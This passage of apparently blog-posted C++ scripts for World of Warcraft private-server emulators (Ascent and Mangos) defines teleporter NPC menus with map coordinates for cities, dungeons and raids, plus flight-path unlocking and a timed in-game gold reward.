Menu->AddItem(5, " 刀锋山 ", 15);
Menu->AddItem(5, " 虚空风暴 ", 16);
Menu->AddItem(5, " 泰罗卡森林 ", 17);
Menu->AddItem(5, " 影月谷 ", 18);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}
break;
//////////////////
// Horde submenu
////////
case 4://Silvermoon
{
Plr->EventTeleport(530, 9400.486328, -7278.376953, 14.206780);
}break;
case 5://Orgrimmar
{
Plr->EventTeleport(1, 1371.068970, -4370.801758, 26.052483);
}break;
case 6://ThunderBluff
{
Plr->EventTeleport(1, -1304.569946, 205.285004, 68.681396);
}break;
case 7://UnderCity
{
Plr->EventTeleport(0, 2050.203125, 285.650604, 56.994549);
}break;
////////////////
// Alliance Menu
////////
case 8: //Exodar
{
Plr->EventTeleport(530, -4072.202393, -12014.337891, -1.277277);
}break;
case 9: //Stormwind
{
Plr->EventTeleport(0, -9100.480469, 406.950745, 92.594185);
}break;
case 10: //Ironforge
{
Plr->EventTeleport(0, -5028.265137, -825.976563, 495.301575);
}break;
case 11: //Darnassus
{
Plr->EventTeleport(1, 9985.907227, 1971.155640, 1326.815674);
}break;
////////////////
// Outland Menu
////////
case 12: //Hellfire Peninsula
{
Plr->EventTeleport(530, -248.160004, 922.348999, 84.379799);
}break;
case 13: //Zangermarsh
{
Plr->EventTeleport(530, -225.863632, 5405.927246, 22.346397);
}break;
case 14: //Nagrand
{
Plr->EventTeleport(530, -468.232330, 8418.666016, 28.031298);
}break;
case 15: //Blades Edge Mountains
{
Plr->EventTeleport(530, 1471.672852, 6828.047852, 107.759239);
}break;
case 16: //Netherstorm
{
Plr->EventTeleport(530, 3396.123779, 4182.208008, 137.097992);
}break;
case 17: //Terokkar Forest
{
Plr->EventTeleport(530, -1202.426636, 5313.692871, 33.774723);
}break;
case 18: //Shadowmoon Valley
{
Plr->EventTeleport(530, -2859.522461, 3182.34773, 10.008426);
}break;
case 99: //main menu
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 把这里设置成回城点 ", 98);
if (Plr->GetTeam() > 0)
{ Menu->AddItem(0, " 部落主城传送 ", 1); }
else
{ Menu->AddItem(0, " 联盟主城传送 ", 2); }
Menu->AddItem(0, " 外域传送 ", 3);
Menu->AddItem(0, " 主城传送 ",100);//100 开我加的
Menu->AddItem(0, " 初级副本传送 ",101);
Menu->AddItem(0, " 中级副本传送 ",102);
Menu->AddItem(0, " 团队副本传送 ",103);
Menu->AddItem(0, " 外域副本传送1 ",104);
Menu->AddItem(0, " 外域副本传送2 ", 105);
Menu->AddItem(0, " 个人银行 ", 106);
Menu->AddItem(0, " 开通飞行点 ", 107);
Menu->AddItem(0, " 领取工资 ", 108);
Menu->AddItem(0, " 外域传送 ", 109);
Menu->AddItem(0, " 野外BOSS传送 ", 110);
Menu->SendTo(Plr);
}break;
case 100://主城传送
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 联盟 暴风城 ", 1001);
Menu->AddItem(5, " 联盟 铁炉堡 ", 1002);
Menu->AddItem(5, " 联盟 达纳苏斯 ", 1003);
Menu->AddItem(5, " 联盟 埃索达 ", 1004);
Menu->AddItem(5, " 部落 奥格瑞玛 ", 1005);
Menu->AddItem(5, " 部落 雷霆崖 ", 1006);
Menu->AddItem(5, " 部落 幽暗城 ", 1007);
Menu->AddItem(5, " 部落 银月城 ", 1008);
Menu->AddItem(5, " 中立 棘齿城 ", 1009);
Menu->AddItem(5, " 中立 藏宝海湾 ", 10010);
Menu->AddItem(5, " 中立 加基森 ", 10011);
Menu->AddItem(5, " 中立 塞纳里奥要塞 ",10012);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1001://联盟 暴风城
{
Plr->EventTeleport(0,-9065,434,94);
}break;
case 1002://联盟 铁炉堡
{
Plr->EventTeleport(0,-5032,-819,495);
}break;
case 1003://联盟 达纳苏斯
{
Plr->EventTeleport(1,9961,2055,1329);
}break;
case 1004://联盟 埃索达
{
Plr->EventTeleport(530,-4071.7,-12036.7,-1.5);
}break;
case 1005://部落 奥格瑞玛
{
Plr->EventTeleport(1,1317,-4383,27);
}break;
case 1006://部落 雷霆崖
{
Plr->EventTeleport(1,-1391,140,23);
}break;
case 1007://部落 幽暗城
{
Plr->EventTeleport(0,1909,235,53);
}break;
case 1008://部落 银月城
{
Plr->EventTeleport(530,9336.9,-7278.4,13.6);
}break;
case 1009://中立 棘齿城
{
Plr->EventTeleport(1,-977,-3788,6);
}break;
case 10010://中立 藏宝海湾
{
Plr->EventTeleport(0,-14302,518,9);
}break;
case 10011://中立 加基森
{
Plr->EventTeleport(1,-7103.7,-2961.6,10.8);
}break;
case 10012://中立 塞纳里奥要塞
{
Plr->EventTeleport(1,-6831.1,748.8,42.5);
}break;
case 101://初级副本传送
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " ·[14] 怒焰裂谷 ", 1011);
Menu->AddItem(5, " ·[19] 死亡矿井 ", 1012);
Menu->AddItem(5, " ·[22] 哀嚎洞穴 ", 1013);
Menu->AddItem(5, " ·[24] 影牙城堡 ", 1014);
Menu->AddItem(5, " ·[26] 黑暗深渊 ", 1015);
Menu->AddItem(5, " ·[27] 暴风城监狱 ", 1016);
Menu->AddItem(5, " ·[31] 剃刀沼泽 ", 1017);
Menu->AddItem(5, " ·[33] 诺莫瑞根 ", 1018);
Menu->AddItem(5, " ·[40] 血色修道院 ", 1019);
Menu->AddItem(5, " ·[42] 剃刀高地 ", 10110);
Menu->AddItem(5, " ·[45] 奥达曼 ", 10111);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1011://初级副本传送·[14] 怒焰裂谷
{
Plr->EventTeleport(389,2.024650,-10.021000,-16.187500);
}break;
case 1012://初级副本传送·[19] 死亡矿井
{
Plr->EventTeleport(36,-16.4,-383.07,61.78);
}break;
case 1013://初级副本传送·[22] 哀嚎洞穴
{
Plr->EventTeleport(43,-161.841995,133.266998,-73.866203);
}break;
case 1014://初级副本传送·[24] 影牙城堡
{
Plr->EventTeleport(33,-228.19,2110.56,76.89);
}break;
case 1015://初级副本传送·[26] 黑暗深渊
{
Plr->EventTeleport(48,-150.367004,102.995003,-40.555801);
}break;
case 1016://初级副本传送·[27] 暴风城监狱
{
Plr->EventTeleport(34,48.29,0.45,-16.14);
}break;
case 1017://初级副本传送·[31] 剃刀沼泽
{
Plr->EventTeleport(47,1943,1544,82);
}break;
case 1018://初级副本传送·[33] 诺莫瑞根
{
Plr->EventTeleport(90,-332.562988,-3.445,-152.845993);
}break;
case 1019://初级副本传送·[40] 血色修道院
{
Plr->EventTeleport(189,855.903992,1321.939941,18.673000);
}break;
case 10110://初级副本传送·[42] 剃刀高地
{
Plr->EventTeleport(129,2593.209961,1109.459961,51.093300);
}break;
case 10111://初级副本传送·[45] 奥达曼
{
Plr->EventTeleport(70,-227.529007,45.009800,-46.019600);
}break;
case 102://中级副本传送
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " ·[46] 祖尔法拉克 ", 1021);
Menu->AddItem(5, " ·[49] 玛拉顿 ", 1022);
Menu->AddItem(5, " ·[53] 失落的神庙 ", 1023);
Menu->AddItem(5, " ·[57] 黑石深渊 ", 1024);
Menu->AddItem(5, " ·[60] 通灵学院 ", 1025);
Menu->AddItem(5, " ·[60] 厄运之槌 (北区) ", 1026);
Menu->AddItem(5, " ·[60] 厄运之槌 (东区) ", 1027);
Menu->AddItem(5, " ·[60] 厄运之槌 (西区) ", 1028);
Menu->AddItem(5, " ·[60] 斯坦索姆 ", 1029);
Menu->AddItem(5, " ·[60] 黑石塔下 ", 10210);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1021://中级副本传送·[46] 祖尔法拉克
{
Plr->EventTeleport(70,-227.529007,45.009800,-46.019600);
}break;
case 1022://中级副本传送·[49] 玛拉顿
{
Plr->EventTeleport(349,1012.700012,-459.317993,-43.547100);
}break;
case 1023://中级副本传送·[53] 失落的神庙
{
Plr->EventTeleport(109,-313.369995,99.955399,-131.848999);
}break;
case 1024://中级副本传送·[57] 黑石深渊
{
Plr->EventTeleport(230,456.928986,34.927700,-69.388100);
}break;
case 1025://中级副本传送·[60] 通灵学院
{
Plr->EventTeleport(289,199,126,135);
}break;
case 1026://中级副本传送·[60] 厄运之槌 (北区)
{
Plr->EventTeleport(429,255.164001,-17.024200,-2.560600);
}break;
case 1027://中级副本传送·[60] 厄运之槌 (东区)
{
Plr->EventTeleport(429,46.24,-155.53,-2.71349);
}break;
case 1028://中级副本传送·[60] 厄运之槌 (西区)
{
Plr->EventTeleport(429,32.722599,159.417007,-3.470170);
}break;
case 1029://中级副本传送·[60] 斯坦索姆
{
Plr->EventTeleport(329,3392,-3379,143);
}break;
case 10210://中级副本传送·[60] 黑石塔下
{
Plr->EventTeleport(229,78.19,-227.63,49.72);
}break;
case 103://团队副本传送
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " ·[团] 溶火之心 ", 1031);
Menu->AddItem(5, " ·[团] 黑石塔上 ", 1032);
Menu->AddItem(5, " ·[团] 祖尔格拉布 ", 1033);
Menu->AddItem(5, " ·[团] 黑翼之巢 ", 1034);
Menu->AddItem(5, " ·[团] 安其拉 ", 1035);
Menu->AddItem(5, " ·[团] 安其拉废墟 ", 1036);
Menu->AddItem(5, " ·[团] 奥妮克希亚的巢穴 ", 1037);
Menu->AddItem(5, " ·[团] 纳克萨玛斯 ", 1038);
Menu->AddItem(5, " ·[团] 冰龙巢穴 ", 1039);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1031://团队副本传送·[团] 溶火之心
{
Plr->EventTeleport(409,1089.601685,-470.190247,-106.413055);
}break;
case 1032://团队副本传送·[团] 黑石塔上
{
Plr->EventTeleport(229,78.339836,-227.793518,49.7103);
}break;
case 1033://团队副本传送·[团] 祖尔格拉布
{
Plr->EventTeleport(309,-11916,-1251.469971,92.32);
}break;
case 1034://团队副本传送·[团] 黑翼之巢
{
Plr->EventTeleport(469,-7674.470215,-1108.380005,396.649994);
}break;
case 1035://团队副本传送·[团] 安其拉
{
Plr->EventTeleport(531,-8212.002930,2034.474854,129.141342);
}break;
case 1036://团队副本传送·[团] 安其拉废墟
{
Plr->EventTeleport(509,-8443.475586,1518.648560,31.906958);
}break;
case 1037://团队副本传送·[团] 奥妮克希亚的巢穴
{
Plr->EventTeleport(249,30.010290,-58.840508,-5.325367);
}break;
case 1038://团队副本传送·[团] 纳克萨玛斯
{
Plr->EventTeleport(533,3005.87,-3435.01,293.882);
}break;
case 1039://团队副本传送·[团] 冰龙巢穴
{
Plr->EventTeleport(533,3700.35,-5185.92,143.957);//player->TeleportTo(533,3700.35,-5185.92,143.957,4.403038,0);
}break;
case 104://外域副本传送1
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " ·[团] 暴风城超级监狱 ", 1041);
Menu->AddItem(5, " ·[团] 卡拉赞 ", 1042);
Menu->AddItem(5, " ·[团] 遗忘之井", 1043);
Menu->AddItem(5, " ·[团] 鬼魂之地 ", 1044);
Menu->AddItem(5, " ·[团] 地狱火堡垒 ", 1045);
Menu->AddItem(5, " ·[团] 风暴要塞 ", 1046);
Menu->AddItem(5, " ·[团] 奥金顿 ", 1047);
Menu->AddItem(5, " ·[团] 黑暗神庙 ", 1048);
Menu->AddItem(5, " ·[团] 赞格沼泽 ", 1049);
Menu->AddItem(5, " ·[团] 格鲁尔的巢穴 ", 10410);
Menu->AddItem(5, " ·[团] 黑色沼泽 ", 10411);
Menu->AddItem(5, " ·[团] 盘牙洞穴 ", 10412);
Menu->AddItem(5, " ·[团] 玛瑟里顿的巢穴 ", 10413);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1041://外域副本传送1·[团] 暴风城超级监狱
{
Plr->EventTeleport(0,-8644.160156,595.669983,95.699997);
}break;
case 1042://外域副本传送1·[团] 卡拉赞
{
Plr->EventTeleport(532, -11107.950195, -2002.060059, 49.889999);
}break;
case 1043://外域副本传送1·[团] 遗忘之井
{
Plr->EventTeleport(0, -11068.07313, -1811.069946, 52.820000);
}break;
case 1044://外域副本传送1·[团] 鬼魂之地
{
Plr->EventTeleport(530, 6851.197266, -7993.672852, 192.292496);
}break;
case 1045://外域副本传送1·[团] 地狱火堡垒
{
Plr->EventTeleport(543, -1355.817261, 1646.834595, 68.447365);
}break;
case 1046://外域副本传送1·[团] 风暴要塞
{
Plr->EventTeleport(530, 3087.556885, 1387.229980, 185.037415);
}break;
case 1047://外域副本传送1·[团] 奥金顿
{
Plr->EventTeleport(555, 2.164014, 0.402381, -1.127880);
}break;
case 1048://外域副本传送1·[团] 黑暗神庙
{
Plr->EventTeleport(530, -3562.800049, 247.600006, 42.896927);
}break;
case 1049://外域副本传送1·[团] 赞格沼泽
{
Plr->EventTeleport(530, 919.007629, 6854.861816, -66.432899);
}break;
case 10410://外域副本传送1·[团] 格鲁尔的巢穴
{
Plr->EventTeleport(530, 3543.437012, 5079.009766, 0.952552);
}break;
case 10411://外域副本传送1·[团] 黑色沼泽
{
Plr->EventTeleport(269, -2095.298584, 7125.536133, 34.588596);
}break;
case 10412://外域副本传送1·[团] 盘牙洞穴
{
Plr->EventTeleport(548, 29.142296, -57.074600, -71.733269);
}break;
case 10413://外域副本传送1·[团] 玛瑟里顿的巢穴
{
Plr->EventTeleport(544, 188.414261, 29.327892, 67.934464);
}break;
case 105://外域副本传送2
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " ·[团] 破碎大厅 ", 1051);
Menu->AddItem(5, " ·[团] 血熔炉 ", 1052);
Menu->AddItem(5, " ·[团] 波塔尼卡 ", 1053);
Menu->AddItem(5, " ·[团] 亚克崔兹 ", 1054);
Menu->AddItem(5, " ·[团] 麦克那尔 ", 1055);
Menu->AddItem(5, " ·[团] 凤凰大厅 ", 1056);
Menu->AddItem(5, " ·[团] 奴隶监狱 ", 1057);
Menu->AddItem(5, " ·[团] 蒸汽洞窟 ", 1058);
Menu->AddItem(5, " ·[团] 毒牙沼泽 ", 1059);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1051://外域副本传送2·[团] 破碎大厅
{
Plr->EventTeleport(540, -41.000000, -22.000000, -14.000000);
}break;
case 1052://外域副本传送2·[团] 血熔炉
{
Plr->EventTeleport(542, -3.000000, 11.000000, -45.000000);
}break;
case 1053://外域副本传送2·[团] 波塔尼卡
{
Plr->EventTeleport(553, 40.000000, -28.600000, -1.100000);
}break;
case 1054://外域副本传送2·[团] 亚克崔兹
{
Plr->EventTeleport(552, -1.200000, 0.000000, -0.200000);
}break;
case 1055://外域副本传送2·[团] 麦克那尔
{
Plr->EventTeleport(554, -28.900000, 0.700000, -1.800000);
}break;
case 1056://外域副本传送2·[团] 凤凰大厅
{
Plr->EventTeleport(550, -6.800000, -0.900000, -2.400000);
}break;
case 1057://外域副本传送2·[团] 奴隶监狱
{
Plr->EventTeleport(547, 123.146225, -122.687210, -0.446336);
}break;
case 1058://外域副本传送2·[团] 蒸汽洞窟
{
Plr->EventTeleport(545, -7.500000, 5.900000, -4.300000);
}break;
case 1059://外域副本传送2·[团] 毒牙沼泽
{
Plr->EventTeleport(546, 14.913731, -19.914341, -2.755679);
}break;
case 106://个人银行
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem( 0, " 暂时不提供!有什么问题联系QQ:55580780 ", 1061 );
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 107://开通飞行点
{
for (uint8 i=0; i<8; i++)
{ Plr->SetTaximask(i, 0xFFFFFFFF);}
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem( 0, " 飞行点已开,请返回! ", 1071 );
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 108://领取工资10G/小时
{
if((int)Plr->GetPlayedtime() > 3600) // 条件检查你在线时间大于60秒.这可以自己改
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem( 0, " 您已经上线超过一小时,但是本服务器暂时不提供此项功能! ", 1081 );
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}
else
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem( 0, " 您上线不足一小时,请返回! ", 1081 );
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}
}break;
case 109://外域传送(5G)
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " ·黑暗之门 ", 1091);
Menu->AddItem(5, " ·永歌森林 ", 1092);
Menu->AddItem(5, " ·艾克索达 ", 1093);
Menu->AddItem(5, " ·海加尔山 ", 1094);
Menu->AddItem(5, " ·青草平原 ", 1095);
Menu->AddItem(5, " ·翠叶森林 ", 1096);
Menu->AddItem(5, " ·沙塔斯城 ", 1097);
Menu->AddItem(5, " ·哈兰 ", 1098);
Menu->AddItem(5, " ·风暴尖塔 ", 1099);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1091://外域传送·黑暗之门
{
Plr->EventTeleport(530,-246.600006,946.000000,84.400002);
}break;
case 1092://外域传送·永歌森林
{
Plr->EventTeleport(530,9336.900391,-7278.399902,13.600000);
}break;
case 1093://外域传送·艾克索达
{
Plr->EventTeleport(530,-4043.632813,-11933.284180,-0.057945);
}break;
case 1094://外域传送·海加尔山
{
Plr->EventTeleport(534,5070.084473,-1791.984497,1320.995483);
}break;
case 1095://外域传送·青草平原
{
Plr->EventTeleport(169,-2674.500000,-2275.800049,148.092743);
}break;
case 1096://外域传送·翠叶森林
{
Plr->EventTeleport(169,2737.508057,-3318.579590,101.882820);
}break;
case 1097://外域传送·沙塔斯城
{
Plr->EventTeleport(530,-1889,5433,-11);
}break;
case 1098://外域传送·哈兰
{
Plr->EventTeleport(530,-1567,7959,-21);
}break;
case 1099://外域传送·风暴尖塔
{
Plr->EventTeleport(530,4151,3041,339);
}break;
case 110://野外BOSS传送(10G)
{
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 1, Plr);
Menu->AddItem(5, " 暮色森林 ", 1101);
Menu->AddItem(5, " 辛特兰 ", 1102);
Menu->AddItem(5, " 灰谷 ", 1103);
Menu->AddItem(5, " 艾萨拉 ", 1104);
Menu->AddItem(5, " 菲拉斯 ", 1105);
Menu->AddItem(5, " 诅咒之地 ", 1106);
Menu->AddItem(5, " 水晶谷 ", 1107);
Menu->AddItem(0, "[返回]", 99);
Menu->SendTo(Plr);
}break;
case 1101://野外BOSS传送暮色森林
{
Plr->EventTeleport(0,-10526.168945,-434.996796,50.894821);
}break;
case 1102://野外BOSS传送辛特兰
{
Plr->EventTeleport(0,759.605713,-3893.341309,116.475304);
}break;
case 1103://野外BOSS传送灰谷
{
Plr->EventTeleport(1,3120.289307,-3439.444336,139.566345);
}break;
case 1104://野外BOSS传送艾萨拉
{
Plr->EventTeleport(1,2622.219971,-5977.930176,100.562897);
}break;
case 1105://野外BOSS传送菲拉斯
{
Plr->EventTeleport(1,-2741.290039,2009.481323,31.877323);
}break;
case 1106://野外BOSS传送诅咒之地
{
Plr->EventTeleport(0,-12234.000000,-2474.000000,-3.000000);
}break;
case 1107://野外BOSS传送水晶谷
{
Plr->EventTeleport(1,-6292.463379,1578.029053,0.155348);
}break;
}
}
};
void SetupCustom_Teleporters(ScriptMgr * mgr)
{
/* Teleporter List */
mgr->register_gossip_script(999999, &TeleportNPC::Create); // Osciron
}
re: ascent wow 聂文龙 2007-08-25 00:47
领取工资代码, 在传送npc里加, 或者自己单独做npc
void GossipHello(Creature* pCreature,Player* Plr, bool AutoSend)
{
GossipMenu* Menu;
objmgr.CreateGossipMenuForPlayer(&Menu, pCreature->GetGUID(), 2593,Plr);
Menu->AddItem(0, " 世界主城传送 ", 1);
Menu->AddItem(0, " 初级副本传送 ", 2);
Menu->AddItem(0, " 中级副本传送 ", 3);
Menu->AddItem(0, " 团队副本传送 ", 4);
Menu->AddItem(0, " 野外BOSS传送 ", 5);
Menu->AddItem(0, " 三大战场传送 ", 6);
Menu->AddItem(0, " 外域 ", 7);
Menu->AddItem(0, " 领取出生奖励 " , 8);
if(AutoSend)
{
Menu->SendTo(Plr);
}
}
Copy code
case 8: //这个数字要和上面的 Menu->AddItem(0, " 领取出生奖励 " , 8);数字对应, 不能和其他的重复。
{
uint32 t = time(NULL) - Plr->OnlineTime;
if(t>360) //360秒
{
uint32 currentgold = Plr->GetUInt32Value(PLAYER_FIELD_COINAGE);
int32 newgold = currentgold + 10000000; // + 1000G
Plr->SetUInt32Value(PLAYER_FIELD_COINAGE,newgold);
}
SendQuickMenu(9316); //我随便找了个npc_text, 有兴趣自己做一个, 比如说, 小子你领完工资该请我吃饭了之类的信息
}
break;
re: ascent wow 聂文龙 2007-08-25 00:46
最新的传送人源代码 (Mangos的)
//sc_teleport.cpp
#include "../sc_defines.h"
bool GossipHello_sc_teleport(Player *player, Creature *_Creature)
{
player->ADD_GOSSIP_ITEM( 0, " 主城传送 " , 1, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 初级副本传送 " , 1, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 中级副本传送 " , 1, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 团队副本传送(30G) " , 1, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " 外域副本传送1(50G) " , 1, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " 外域副本传送2(50G) " , 1, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 0, " 个人银行 " , 8, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " 开通飞行点(30G) " , 6, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " 领取工资10G/小时 " , 9, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " 外域传送(5G) " , 1, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " 野外BOSS传送(10G) " , 1, GOSSIP_ACTION_INFO_DEF + 11);
player->SEND_GOSSIP_MENU(99999,_Creature->GetGUID());
return true;
}
void SendDefaultMenu_SC_teleport(Player *player, Creature *_Creature, uint32 action)
{
switch(action) {
// 主城传送
case GOSSIP_ACTION_INFO_DEF + 1 :
player->ADD_GOSSIP_ITEM( 0, " 联盟 暴风城 " , 2, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 联盟 铁炉堡 " , 2, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 联盟 达纳苏斯 " , 2, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 联盟 埃索达 " , 2, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " 部落 奥格瑞玛 " , 2, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " 部落 雷霆崖 " , 2, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " 部落 幽暗城 " , 2, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " 部落 银月城 " , 2, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " 中立 棘齿城 " , 2, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " 中立 藏宝海湾 " , 2, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 0, " 中立 加基森 " , 2, GOSSIP_ACTION_INFO_DEF + 11);
player->ADD_GOSSIP_ITEM( 0, " 中立 塞纳里奥要塞 " , 2, GOSSIP_ACTION_INFO_DEF + 12);
player->SEND_GOSSIP_MENU(99991,_Creature->GetGUID());
break;
// 初级副本
case GOSSIP_ACTION_INFO_DEF + 2 :
player->ADD_GOSSIP_ITEM( 0, " ·[14] 怒焰裂谷 " , 3, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " ·[19] 死亡矿井 " , 3, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " ·[22] 哀嚎洞穴 " , 3, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " ·[24] 影牙城堡 " , 3, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " ·[26] 黑暗深渊 " , 3, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " ·[27] 暴风城监狱 " , 3, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " ·[31] 剃刀沼泽 " , 3, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " ·[33] 诺莫瑞根 " , 3, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " ·[40] 血色修道院 " , 3, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " ·[42] 剃刀高地 " , 3, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 0, " ·[45] 奥达曼 " , 3, GOSSIP_ACTION_INFO_DEF + 11);
player->SEND_GOSSIP_MENU(99992,_Creature->GetGUID());
break;
// 中级副本
case GOSSIP_ACTION_INFO_DEF + 3 :
player->ADD_GOSSIP_ITEM( 0, " ·[46] 祖尔法拉克 " , 4, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " ·[49] 玛拉顿 " , 4, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " ·[53] 失落的神庙 " , 4, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " ·[57] 黑石深渊 " , 4, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " ·[60] 通灵学院 " , 4, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " ·[60] 厄运之槌 (北区) " , 4, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " ·[60] 厄运之槌 (东区) " , 4, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " ·[60] 厄运之槌 (西区) " , 4, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " ·[60] 斯坦索姆 " , 4, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " ·[60] 黑石塔下 " , 4, GOSSIP_ACTION_INFO_DEF + 10);
player->SEND_GOSSIP_MENU(99993,_Creature->GetGUID());
break;
// 高级副本
case GOSSIP_ACTION_INFO_DEF + 4 :
player->ADD_GOSSIP_ITEM( 0, " ·[团] 溶火之心 " , 5, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 黑石塔上 " , 5, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 祖尔格拉布 " , 5, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 黑翼之巢 " , 5, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 安其拉 " , 5, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 安其拉废墟 " , 5, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 奥妮克希亚的巢穴 " , 5, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 纳克萨玛斯 " , 5, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 冰龙巢穴 " , 5, GOSSIP_ACTION_INFO_DEF + 9);
player->SEND_GOSSIP_MENU(99994,_Creature->GetGUID());
break;
// 外域副本1
case GOSSIP_ACTION_INFO_DEF + 5 :
player->ADD_GOSSIP_ITEM( 0, " ·[团] 暴风城超级监狱 " , 7, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 卡拉赞 " , 7, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 遗忘之井" , 7, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 鬼魂之地 " , 7, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 地狱火堡垒 " , 7, GOSSIP_ACTION_INFO_DEF + 5);
